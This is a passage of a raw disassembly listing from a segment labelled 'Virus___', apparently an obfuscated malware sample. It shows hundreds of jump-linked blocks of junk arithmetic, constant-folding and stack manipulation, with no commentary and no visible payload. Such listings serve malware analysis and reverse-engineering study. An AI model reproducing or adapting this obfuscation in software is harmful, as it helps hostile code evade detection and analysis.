		jmp	loc_59338F
; ---------------------------------------------------------------------------


loc_582F32:				; CODE XREF: Virus___:0058F274j
		add	ecx, ebx
		pop	ebx
		xor	ecx, 183B0326h
		sub	eax, 12153EC3h
		add	eax, 0BAC41CDh
		jmp	loc_58DA36
; ---------------------------------------------------------------------------


loc_582F4A:				; CODE XREF: Virus___:005929ADj
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_585423
; ---------------------------------------------------------------------------


loc_582F54:				; CODE XREF: Virus___:00585E08j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_58A465
; ---------------------------------------------------------------------------


loc_582F75:				; CODE XREF: Virus___:0058201Ej
		pop	eax
		mov	ebp, edx
		jmp	loc_587A03
; ---------------------------------------------------------------------------


loc_582F7D:				; CODE XREF: Virus___:00587A92j
		inc	edx
		xor	edx, 5EE3171Bh
		add	ebp, edx
		jmp	loc_57FB0C
; ---------------------------------------------------------------------------


loc_582F8B:				; CODE XREF: Virus___:0058AE88j
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_57FDF4
; ---------------------------------------------------------------------------


loc_582F9D:				; CODE XREF: Virus___:00592CE5j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_58D19A
; ---------------------------------------------------------------------------


loc_582FA9:				; CODE XREF: Virus___:0058432Bj
		push	2F9Eh
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_58A8DB
; ---------------------------------------------------------------------------


loc_582FC4:				; CODE XREF: Virus___:0058A3F2j
		dec	ah
		jmp	loc_5815C1
; ---------------------------------------------------------------------------


loc_582FCB:				; CODE XREF: Virus___:0058FD3Ej
		pop	ebx
		add	ecx, edx
		add	ecx, 5ED532E2h
		mov	edx, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_5897E7
; ---------------------------------------------------------------------------


loc_582FF1:				; CODE XREF: Virus___:0058F937j
		push	1C88h
		mov	[esp], esp
		jmp	loc_591203
; ---------------------------------------------------------------------------


loc_582FFE:				; CODE XREF: Virus___:00587D9Ej
		sub	ebp, 516D0206h
		mov	eax, ebp
		pop	ebp
		sub	[esp+8], eax
		pop	eax
		jmp	loc_580B50
; ---------------------------------------------------------------------------


loc_583011:				; CODE XREF: Virus___:005877B8j
		not	eax
		jmp	loc_58AA66
; ---------------------------------------------------------------------------


loc_583018:				; CODE XREF: Virus___:0058CE26j
		mov	ebx, 95FFE97Bh
		add	esi, ebx
		pop	ebx
		add	ecx, 4DBC4552h
		jmp	loc_5940B9
; ---------------------------------------------------------------------------


loc_58302B:				; CODE XREF: Virus___:0058DC21j
		mov	[esp], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 350224C3h
		push	eax
		mov	eax, 98D0E8Eh
		xchg	eax, ebp
		push	ebp
		xchg	ebp, [esp]
		not	ebp
		xchg	ebp, [esp]
		pop	ebp
		jmp	loc_581679
; ---------------------------------------------------------------------------


loc_583054:				; CODE XREF: Virus___:00580AF0j
		push	ebp
		push	720EA6ADh
		mov	ebp, [esp]
		jmp	loc_58C1A3
; ---------------------------------------------------------------------------


loc_583062:				; CODE XREF: Virus___:00580471j
		pop	ecx
		push	eax
		mov	eax, 38492D38h
		add	edi, eax
		pop	eax
		add	edi, esi
		sub	edi, 38492D38h
		pop	esi
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mul	cl
		movzx	cx, ah
		push	4025h
		mov	[esp], eax
		mov	eax, esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], edi
		push	5E1Fh
		mov	[esp], ebx
		jmp	loc_58C293
; ---------------------------------------------------------------------------


loc_5830BA:				; CODE XREF: Virus___:0058A421j
		mov	esi, esp
		jmp	loc_58AEE9
; ---------------------------------------------------------------------------


loc_5830C1:				; CODE XREF: Virus___:0058CE89j
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		jmp	loc_5880EC
; ---------------------------------------------------------------------------


loc_5830DC:				; CODE XREF: Virus___:00590CB7j
		pop	ecx
		sub	eax, 1444E86h
		jmp	loc_58BB89
; ---------------------------------------------------------------------------


loc_5830E7:				; CODE XREF: Virus___:0059414Ej
		xor	ebp, 5F3006F1h
		xor	eax, ebp
		pop	ebp
		jmp	loc_583445
; ---------------------------------------------------------------------------


loc_5830F5:				; CODE XREF: Virus___:00592B17j
		mov	[ebx], al
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	esp, 4
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58310C:				; CODE XREF: Virus___:00583593j
		sub	edx, ecx
		sub	edx, 68FB7ADAh
		pop	ecx
		add	eax, edx
		pop	edx
		push	ebp
		mov	ebp, 515B2033h
		add	eax, ebp
		jmp	loc_58A39A
; ---------------------------------------------------------------------------


loc_583125:				; CODE XREF: Virus___:0058ACEFj
		add	ebx, 7ABC6319h
		or	ebx, 7FFF302Ah
		shl	ebx, 1
		dec	ebx
		push	78B5h
		mov	[esp], esi
		jmp	loc_58EF4B
; ---------------------------------------------------------------------------


loc_583141:				; CODE XREF: Virus___:00589860j
		pop	ebx
		jmp	loc_58AFEC
; ---------------------------------------------------------------------------


loc_583147:				; CODE XREF: Virus___:00590F7Aj
		xchg	edi, [esp]
		jmp	loc_5814E6
; ---------------------------------------------------------------------------


loc_58314F:				; CODE XREF: Virus___:0057FF5Bj
		sub	edx, ebp
		jmp	loc_57FD0C
; ---------------------------------------------------------------------------


loc_583156:				; CODE XREF: Virus___:0059435Aj
		pop	eax
		jmp	loc_594556
; ---------------------------------------------------------------------------


loc_58315C:				; CODE XREF: Virus___:00584BAFj
		push	edi
		push	7018h
		jmp	loc_5823F1
; ---------------------------------------------------------------------------


loc_583167:				; CODE XREF: Virus___:005829C3j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_584ED0
; ---------------------------------------------------------------------------


loc_583170:				; CODE XREF: Virus___:0058873Ej
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_588271
; ---------------------------------------------------------------------------


loc_58317C:				; CODE XREF: Virus___:005847ABj
		pop	edx
		add	esi, eax
		pop	eax
		jmp	loc_580191
; ---------------------------------------------------------------------------


loc_583185:				; CODE XREF: Virus___:0057F6B1j
		add	edx, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_57FB21
; ---------------------------------------------------------------------------


loc_583190:				; CODE XREF: Virus___:0059211Ej
		neg	esi
		add	esi, 0C6549D94h
		xor	esi, 623864h
		jmp	loc_58D88B
; ---------------------------------------------------------------------------


loc_5831A3:				; CODE XREF: Virus___:00589AE3j
		pop	ecx
		sub	al, dh
		sub	al, 7Bh
		jmp	loc_5833C0
; ---------------------------------------------------------------------------


loc_5831AD:				; CODE XREF: Virus___:00581F47j
		add	edx, eax
		pop	eax
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5929A7
; ---------------------------------------------------------------------------


loc_5831C6:				; CODE XREF: Virus___:00590285j
		pop	eax
		sub	eax, 0FFFFFFFFh
		or	eax, 645D25EBh
		and	eax, 46180FF6h
		jmp	loc_58DBD9
; ---------------------------------------------------------------------------


loc_5831DB:				; CODE XREF: Virus___:0058B07Cj
		xchg	edx, [esp]
		jmp	loc_5837FD
; ---------------------------------------------------------------------------


loc_5831E3:				; CODE XREF: Virus___:0057FE46j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		or	eax, eax
		jz	loc_591841
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		push	3EBAh
		push	esp
		pop	dword ptr [esp]
		jmp	loc_58E69B
; ---------------------------------------------------------------------------


loc_58321B:				; CODE XREF: Virus___:00592A3Fj
		add	edi, 80A2B059h
		add	dword ptr [esp+4], 0B4A3F57h
		add	[esp+4], edi
		sub	dword ptr [esp+4], 0B4A3F57h
		pop	edi
		mov	edx, [esp]
		jmp	loc_58C119
; ---------------------------------------------------------------------------


loc_58323E:				; CODE XREF: Virus___:0058675Ej
		mov	eax, esp
		jmp	loc_58CCA5
; ---------------------------------------------------------------------------


loc_583245:				; CODE XREF: Virus___:0059215Fj
		and	ebx, 74822607h
		push	edi
		mov	edi, 5DE83C4Dh
		and	edi, 6C8A569Bh
		push	esi
		mov	esi, 5F7152FEh
		add	edi, esi
		pop	esi
		not	edi
		neg	edi
		add	edi, 1
		sub	edi, 4C6E4E51h
		and	ebx, edi
		jmp	loc_58A0FE
; ---------------------------------------------------------------------------


loc_583274:				; CODE XREF: Virus___:0058AB98j
		push	401A7124h
		pop	ebx
		jmp	loc_58EFA0
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		push	esp
		jmp	loc_587884
; ---------------------------------------------------------------------------


loc_58328A:				; CODE XREF: Virus___:0057FE52j
		push	165Bh
		mov	[esp], ebx
		push	51C3h
		jmp	loc_5935DB
; ---------------------------------------------------------------------------


loc_58329C:				; CODE XREF: Virus___:0058B6B9j
		push	eax
		mov	eax, 2
		jmp	loc_591EC1
; ---------------------------------------------------------------------------


loc_5832A7:				; CODE XREF: Virus___:005936CEj
		add	edx, ecx
		pop	ecx
		add	edx, 354270Ah
		jmp	loc_59036B
; ---------------------------------------------------------------------------


loc_5832B5:				; CODE XREF: Virus___:005804A7j
		neg	cl
		or	cl, 0E3h
		shr	cl, 1
		shr	cl, 3
		jmp	loc_58AE6B
; ---------------------------------------------------------------------------


loc_5832C4:				; CODE XREF: Virus___:00591183j
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		push	eax
		mov	eax, 416A4FBCh
		inc	eax
		add	eax, 3CB31294h
		add	eax, 81E29DB3h
		jmp	loc_583863
; ---------------------------------------------------------------------------


loc_5832E0:				; CODE XREF: Virus___:00592188j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_58F0C7
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 2D8B28E5h
		sub	eax, 5FFB3B1Eh
		push	ebx
		mov	ebx, 1F7E0FE9h
		and	ebx, 41493D8Ah
		shl	ebx, 7
		sub	ebx, 566C57C2h
		jmp	loc_589CDF
; ---------------------------------------------------------------------------


loc_58330E:				; CODE XREF: Virus___:0057FC8Fj
		add	eax, 4
		jmp	loc_58F356
; ---------------------------------------------------------------------------


loc_583318:				; CODE XREF: Virus___:0058BBEBj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_590F7F
; ---------------------------------------------------------------------------


loc_583332:				; CODE XREF: Virus___:0058EA54j
		add	esp, 4
		jmp	loc_584322
; ---------------------------------------------------------------------------


loc_58333A:				; CODE XREF: Virus___:00584D2Fj
		pop	ebp
		push	edi
		jmp	loc_58CE07
; ---------------------------------------------------------------------------


loc_583341:				; CODE XREF: Virus___:00582004j
		sub	ecx, 4
		jmp	loc_582F06
; ---------------------------------------------------------------------------


loc_58334C:				; CODE XREF: Virus___:00584B25j
		xor	edi, 951FE073h
		mov	eax, edi
		jmp	loc_591CB6
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		jmp	loc_58D039
; ---------------------------------------------------------------------------


loc_583362:				; CODE XREF: Virus___:00582AAAj
		add	esp, 4
		jmp	loc_585CC0
; ---------------------------------------------------------------------------


loc_58336D:				; CODE XREF: Virus___:00588842j
		sub	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		pop	eax
		add	eax, 3F64BF3h
		mov	ecx, [esp]
		jmp	loc_593365
; ---------------------------------------------------------------------------


loc_583385:				; CODE XREF: Virus___:0058D5C6j
		push	ecx
		mov	ecx, 66480764h
		shr	ecx, 1
		jmp	loc_5813FE
; ---------------------------------------------------------------------------


loc_583392:				; CODE XREF: Virus___:00590548j
		mov	ecx, 146B3A73h
		xor	eax, ecx
		pop	ecx
		or	eax, 2B3A3A3Fh
		xor	eax, 0CA95EB0h
		xor	edx, eax
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		xor	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		shl	edx, 8
		jmp	loc_580938
; ---------------------------------------------------------------------------


loc_5833C0:				; CODE XREF: Virus___:005831A8j
		pop	edx
		push	2AC1h
		mov	[esp], eax
		mov	al, 29h
		neg	al
		jmp	loc_590946
; ---------------------------------------------------------------------------


loc_5833D2:				; CODE XREF: Virus___:005933BAj
		xor	esi, eax
		mov	eax, [esp]
		add	esp, 4
		sub	eax, 0BFC591Dh
		add	eax, esi
		push	4038h
		mov	[esp], esi
		mov	esi, 0BFC591Dh
		add	eax, esi
		jmp	loc_584E4F
; ---------------------------------------------------------------------------


loc_5833F8:				; CODE XREF: Virus___:0057F627j
		mov	ecx, [esp]
		add	esp, 4
		pop	ecx
		jmp	loc_58A1B3
; ---------------------------------------------------------------------------
		lodsd
		push	ebp
		mov	ebp, 3E257892h
		not	ebp
		add	ebp, 174B5F9Fh
		shl	ebp, 1
		jmp	loc_58293E
; ---------------------------------------------------------------------------


loc_58341A:				; CODE XREF: Virus___:00590248j
		push	esp
		pop	esi
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		mov	ebp, 1CFE1A85h
		sub	ebp, 2CB52BB0h
		jmp	loc_58E8B4
; ---------------------------------------------------------------------------


loc_58343F:				; CODE XREF: Virus___:0058AD9Dj
		push	ecx
		jmp	loc_58FB2E
; ---------------------------------------------------------------------------


loc_583445:				; CODE XREF: Virus___:005830F0j
		or	edi, eax
		pop	eax
		push	eax
		mov	eax, 407071F6h
		or	edi, eax
		jmp	loc_58549D
; ---------------------------------------------------------------------------


loc_583455:				; CODE XREF: Virus___:00581590j
		push	edi
		push	eax
		mov	eax, 29BA4253h
		sub	eax, 0EEE4B03h
		not	eax
		sub	eax, 7AC0457Dh
		jmp	loc_57F7F2
; ---------------------------------------------------------------------------


loc_58346D:				; CODE XREF: Virus___:00589335j
		mov	ebp, 5AB34725h
		or	ebp, 61605FADh
		shl	ebp, 1
		inc	ebp
		xor	ebp, 157F75E1h
		neg	ebp
		add	ebp, 0E299CABEh
		add	ecx, ebp
		pop	ebp
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_58C0DE
; ---------------------------------------------------------------------------


loc_583497:				; CODE XREF: Virus___:00582548j
		inc	ecx
		push	ebp
		push	edi
		mov	edi, 137670D2h
		mov	ebp, edi
		pop	edi
		and	ebp, 0BA63B4h
		xor	ebp, 3782690Ch
		jmp	loc_588BEE
; ---------------------------------------------------------------------------


loc_5834B3:				; CODE XREF: Virus___:0058601Aj
		sub	esp, 4
		jmp	loc_58B8B0
; ---------------------------------------------------------------------------


loc_5834BB:				; CODE XREF: Virus___:0058F376j
		pop	ebp
		jmp	loc_586595
; ---------------------------------------------------------------------------
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_583882
		push	2386h
		mov	[esp], ebx
		mov	ebx, 398338D5h
		sub	esi, 3AE92591h
		sub	esi, 70D43982h
		add	esi, ebx
		push	4BF3h
		mov	[esp], ebp
		mov	ebp, 29F16DA7h
		not	ebp
		jmp	loc_582C44
; ---------------------------------------------------------------------------


loc_5834FB:				; CODE XREF: Virus___:00591E24j
		xchg	ebx, edx
		jmp	loc_583598
; ---------------------------------------------------------------------------


loc_583502:				; CODE XREF: Virus___:00590A37j
		xor	ebp, 292418DDh
		add	ebp, 31285006h
		mov	eax, ebp
		pop	ebp
		jmp	loc_58003E
; ---------------------------------------------------------------------------


loc_583516:				; CODE XREF: Virus___:00582D3Ej
		push	small 25E7h
		mov	si, [esp]
		add	esp, 2
		shl	si, 8
		dec	si
		jmp	loc_58CCC7
; ---------------------------------------------------------------------------


loc_58352C:				; CODE XREF: Virus___:00591B44j
		sub	edx, 35AE68FAh
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		push	eax
		mov	eax, 6B866A57h
		mov	ebx, 7AAA7149h
		jmp	loc_58C9EB
; ---------------------------------------------------------------------------


loc_58354C:				; CODE XREF: Virus___:0058C8AEj
		pop	ebx
		push	edi
		mov	edi, 4
		jmp	loc_58C20B
; ---------------------------------------------------------------------------


loc_583558:				; CODE XREF: Virus___:0058412Dj
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, 65797F6Ah
		or	ecx, edx
		jmp	loc_58F135
; ---------------------------------------------------------------------------


loc_583574:				; CODE XREF: Virus___:0058C9E6j
		push	eax
		mov	eax, 6A2B3558h
		jmp	loc_5906C5
; ---------------------------------------------------------------------------


loc_58357F:				; CODE XREF: Virus___:00581DF8j
		sub	ecx, 40E8081Ch
		neg	ecx
		sub	ecx, 0F2A0B898h
		add	edx, 68FB7ADAh
		jmp	loc_58310C
; ---------------------------------------------------------------------------


loc_583598:				; CODE XREF: Virus___:005834FDj
		not	ebx
		xchg	ebx, edx
		xchg	edx, ebp
		push	edi
		mov	edi, 4AFD6A4Ah
		jmp	loc_58DD6D
; ---------------------------------------------------------------------------


loc_5835A9:				; CODE XREF: Virus___:0058C279j
		push	ebp
		mov	ebp, 423C373Bh
		shr	ebp, 6
		xor	ebp, 1ADCF41h
		add	ebx, ebp
		pop	ebp
		add	ebx, 55A322DCh
		pop	ebp
		push	ebp
		jmp	loc_58F50F
; ---------------------------------------------------------------------------


loc_5835C8:				; CODE XREF: Virus___:00593FC0j
		push	14FDh
		jmp	loc_5944D5
; ---------------------------------------------------------------------------


loc_5835D2:				; CODE XREF: Virus___:0058CA89j
		sub	edx, eax
		sub	edx, 5654B87h
		pop	eax
		add	edx, ebx
		add	edx, 7CFE70C3h
		push	dword ptr [esp]
		jmp	loc_58394D
; ---------------------------------------------------------------------------


loc_5835EB:				; CODE XREF: Virus___:0059105Ej
		sub	eax, 0ABF618F9h
		sub	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		push	4955h
		mov	[esp], ecx
		push	1B76h
		mov	[esp], ebx
		mov	ebx, 5CD35927h
		xor	[esp+4], ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_588436
; ---------------------------------------------------------------------------


loc_58361F:				; CODE XREF: Virus___:00586A0Cj
		sub	ebx, ecx
		jmp	loc_58C276
; ---------------------------------------------------------------------------


loc_583626:				; CODE XREF: Virus___:00582DF9j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_58EF5C
; ---------------------------------------------------------------------------


loc_58363B:				; CODE XREF: Virus___:00585163j
		mov	ebx, 7A6412A5h
		jmp	loc_5943E9
; ---------------------------------------------------------------------------


loc_583645:				; CODE XREF: Virus___:005871C3j
		mov	eax, 4733EC3h
		push	ecx
		mov	ecx, 2B7D691h
		mov	edx, ecx
		pop	ecx
		add	edx, 0DA36889h
		add	edx, eax
		sub	edx, 0DA36889h
		mov	eax, [esp]
		jmp	loc_5915FB
; ---------------------------------------------------------------------------


loc_583669:				; CODE XREF: Virus___:0058A13Aj
		shr	edi, 6
		push	edi
		jmp	loc_5853BC
; ---------------------------------------------------------------------------


loc_583672:				; CODE XREF: Virus___:00589B42j
		inc	ebp
		and	ebp, 4F414409h
		or	ebp, 0D671072h
		jmp	loc_588364
; ---------------------------------------------------------------------------


loc_583684:				; CODE XREF: Virus___:00585B0Ej
		mov	edx, 4
		sub	ecx, edx
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_590F05
; ---------------------------------------------------------------------------


loc_58369A:				; CODE XREF: Virus___:00586D5Ej
		add	esi, ebx
		jmp	loc_58BDD6
; ---------------------------------------------------------------------------


loc_5836A1:				; CODE XREF: Virus___:00587AA0j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_58ED51
; ---------------------------------------------------------------------------


loc_5836AF:				; CODE XREF: Virus___:0058B90Cj
		pop	edi
		push	edx
		mov	edx, 67E94C99h
		jmp	loc_58EF55
; ---------------------------------------------------------------------------


loc_5836BB:				; CODE XREF: Virus___:0058533Ej
		or	esi, ebx
		pop	ebx
		jmp	loc_58D700
; ---------------------------------------------------------------------------


loc_5836C3:				; CODE XREF: Virus___:00589AB2j
		pop	edi
		sub	edi, 2CE032E9h
		sub	edi, 0F4360546h
		mov	eax, edi
		pop	edi
		shl	eax, 8
		push	edx
		jmp	loc_584173
; ---------------------------------------------------------------------------


loc_5836DC:				; CODE XREF: Virus___:00582CB0j
		mov	ecx, 670A7167h
		sub	ecx, 4E2B243Ah
		jmp	loc_585108
; ---------------------------------------------------------------------------


loc_5836EC:				; CODE XREF: Virus___:005887D5j
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_585DBE
; ---------------------------------------------------------------------------


loc_583702:				; CODE XREF: Virus___:00581FBEj
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_583707:				; CODE XREF: Virus___:005889BFj
		mov	[esp], ebp
		push	edx
		jmp	loc_5863B2
; ---------------------------------------------------------------------------


loc_583710:				; CODE XREF: Virus___:00584F28j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58371F:				; CODE XREF: Virus___:0058AE7Bj
		pop	eax
		xor	cl, 0CBh
		sub	bl, cl
		pop	ecx
		add	al, bl
		jmp	loc_580164
; ---------------------------------------------------------------------------


loc_58372D:				; CODE XREF: Virus___:00581FDEj
		mov	[esp], ecx
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_583735:				; CODE XREF: Virus___:00591EB4j
		mov	[esp], esi
		push	2DF4h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		jmp	loc_58F4C1
; ---------------------------------------------------------------------------


loc_583753:				; CODE XREF: Virus___:005942B4j
		mov	esi, 1AB2320Dh
		add	esi, 110E0E42h
		xor	esi, 6434019Bh
		add	esi, 3D5A0E34h
		and	esi, 3A637D9Fh
		push	eax
		mov	eax, 7CE513A5h
		add	eax, 591A0618h
		shl	eax, 4
		not	eax
		sub	eax, 722DF7FCh
		xor	esi, eax
		pop	eax
		sub	eax, esi
		pop	esi
		add	eax, edi
		jmp	loc_58EC6E
; ---------------------------------------------------------------------------


loc_583792:				; CODE XREF: Virus___:00582BC3j
		add	eax, edx
		add	eax, 2C25C73h
		jmp	loc_5874A5
; ---------------------------------------------------------------------------


loc_58379E:				; CODE XREF: Virus___:0058069Aj
		pop	eax
		sub	al, dl
		pop	edx
		push	640h
		mov	[esp], ebx
		mov	bl, 95h
		push	6341h
		mov	[esp], ecx
		push	eax
		push	ecx
		mov	ch, 15h
		mov	al, ch
		pop	ecx
		shr	al, 4
		not	al
		sub	al, 0BFh
		mov	ch, al
		jmp	loc_592FB7
; ---------------------------------------------------------------------------


loc_5837C9:				; CODE XREF: Virus___:00584033j
		pop	ebx
		jmp	loc_585C8E
; ---------------------------------------------------------------------------


loc_5837CF:				; CODE XREF: Virus___:00580DE3j
		add	esp, 4
		add	edx, 15C25DC6h
		jmp	loc_589399
; ---------------------------------------------------------------------------


loc_5837DD:				; CODE XREF: Virus___:00587B46j
		sub	esi, 742221B2h
		add	esi, edx
		add	esi, 742221B2h
		pop	edx
		add	esi, edi
		sub	esi, 663155F0h
		pop	edi
		push	dword ptr [esp]
		jmp	loc_592C39
; ---------------------------------------------------------------------------


loc_5837FD:				; CODE XREF: Virus___:005831DEj
		pop	esp
		add	ecx, 4
		jmp	loc_58C66D
; ---------------------------------------------------------------------------


loc_583806:				; CODE XREF: Virus___:0058D2CBj
		push	460Eh
		jmp	loc_589F48
; ---------------------------------------------------------------------------


loc_583810:				; CODE XREF: Virus___:0058740Aj
		mov	ecx, 22992071h
		push	ebp
		push	ebx
		mov	ebx, 2EF95123h
		jmp	loc_587252
; ---------------------------------------------------------------------------


loc_583821:				; CODE XREF: Virus___:0058F3B6j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_58992C
; ---------------------------------------------------------------------------


loc_583837:				; CODE XREF: Virus___:0058C719j
		mov	edx, 43EF68D0h
		not	edx
		not	edx
		neg	edx
		xor	edx, 0F727B8Bh
		inc	edx
		sub	edx, 0AD67E6BFh
		add	edi, 23FC2908h
		sub	edi, edx
		sub	edi, 23FC2908h
		pop	edx
		jmp	loc_57FD78
; ---------------------------------------------------------------------------


loc_583863:				; CODE XREF: Virus___:005832DBj
		sub	ecx, 2F216661h
		add	ecx, eax
		jmp	loc_5868A4
; ---------------------------------------------------------------------------


loc_583870:				; CODE XREF: Virus___:005936C4j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]


loc_583882:				; CODE XREF: Virus___:005834C6j
		push	4B6Ch
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	91Ah
		mov	[esp], esi
		push	ebp
		jmp	loc_593BC4
; ---------------------------------------------------------------------------
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_58B1D0
; ---------------------------------------------------------------------------


loc_5838BF:				; CODE XREF: Virus___:00587B7Ej
		shr	ebx, 2
		jmp	loc_58F5FB
; ---------------------------------------------------------------------------


loc_5838C7:				; CODE XREF: Virus___:00592C34j
		mov	ecx, [esp]
		push	3A1Fh
		mov	[esp], ebp
		jmp	loc_5932D4
; ---------------------------------------------------------------------------


loc_5838D7:				; CODE XREF: Virus___:00587BBBj
		pop	ebx
		sub	al, 0C1h
		push	ecx
		mov	cl, 0DFh
		dec	cl
		jmp	loc_58920A
; ---------------------------------------------------------------------------


loc_5838E4:				; CODE XREF: Virus___:0058F92Dj
		mov	esp, [esp]
		push	1CEBh
		mov	[esp], esi
		push	4
		push	dword ptr [esp]
		pop	esi
		push	edx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		mov	edx, [esp]
		jmp	loc_58CE31
; ---------------------------------------------------------------------------


loc_583913:				; CODE XREF: Virus___:0058DA0Bj
		mov	edi, [esp]
		jmp	loc_592ABE
; ---------------------------------------------------------------------------


loc_58391B:				; CODE XREF: Virus___:00589F43j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebp
		jmp	loc_586A59
; ---------------------------------------------------------------------------


loc_58392E:				; CODE XREF: Virus___:0058DB75j
		mov	[esp], ebp
		jmp	loc_58F593
; ---------------------------------------------------------------------------


loc_583936:				; CODE XREF: Virus___:00589EEDj
		pop	esi
		push	esi
		mov	esi, 2222F59h
		sub	ebx, esi
		pop	esi
		jmp	loc_580A87
; ---------------------------------------------------------------------------


loc_583945:				; CODE XREF: Virus___:00580ECBj
		push	dword ptr [esp]
		jmp	loc_593BF4
; ---------------------------------------------------------------------------


loc_58394D:				; CODE XREF: Virus___:005835E6j
		pop	ebx
		push	ecx
		jmp	loc_5849A2
; ---------------------------------------------------------------------------


loc_583954:				; CODE XREF: Virus___:0059420Aj
		sub	ebx, 73D07ACEh
		sub	ebx, 0A5414BAh
		add	ebx, eax
		add	ebx, 0A5414BAh
		add	ebx, 73D07ACEh
		add	ebx, 2A0E6A33h
		mov	eax, [esp]
		jmp	loc_58740F
; ---------------------------------------------------------------------------


loc_58397C:				; CODE XREF: Virus___:005883F2j
		mov	esp, [esp]
		push	ecx
		mov	cl, 0D4h
		jmp	loc_584B2A
; ---------------------------------------------------------------------------


loc_583987:				; CODE XREF: Virus___:0058CFC6j
		mov	[esp], eax
		jmp	loc_5822FA
; ---------------------------------------------------------------------------


loc_58398F:				; CODE XREF: Virus___:0058048Dj
		mov	esi, 4
		add	ebp, 25C66495h
		add	ebp, esi
		sub	ebp, 25C66495h
		jmp	loc_587F4E
; ---------------------------------------------------------------------------


loc_5839A7:				; CODE XREF: Virus___:0058A850j
		mov	ecx, 30D62FDAh
		mov	ebx, ecx
		pop	ecx
		xor	[esp+4], ebx
		push	dword ptr [esp]
		pop	ebx
		push	7985h
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		push	edi
		mov	edi, 7E10055Ch
		shl	edi, 6
		or	edi, 23955287h
		add	edi, 586AA87Dh
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		jmp	loc_59052A
; ---------------------------------------------------------------------------


loc_5839EB:				; CODE XREF: Virus___:0058BACCj
		pop	ebx
		jmp	loc_58D2D0
; ---------------------------------------------------------------------------


loc_5839F1:				; CODE XREF: Virus___:00590329j
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		push	edx
		mov	dh, 0CDh
		jmp	loc_5884A7
; ---------------------------------------------------------------------------


loc_583A06:				; CODE XREF: Virus___:0058C713j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	ebp, 4
		push	7C2h
		mov	[esp], ebp
		push	dword ptr [esp+4]
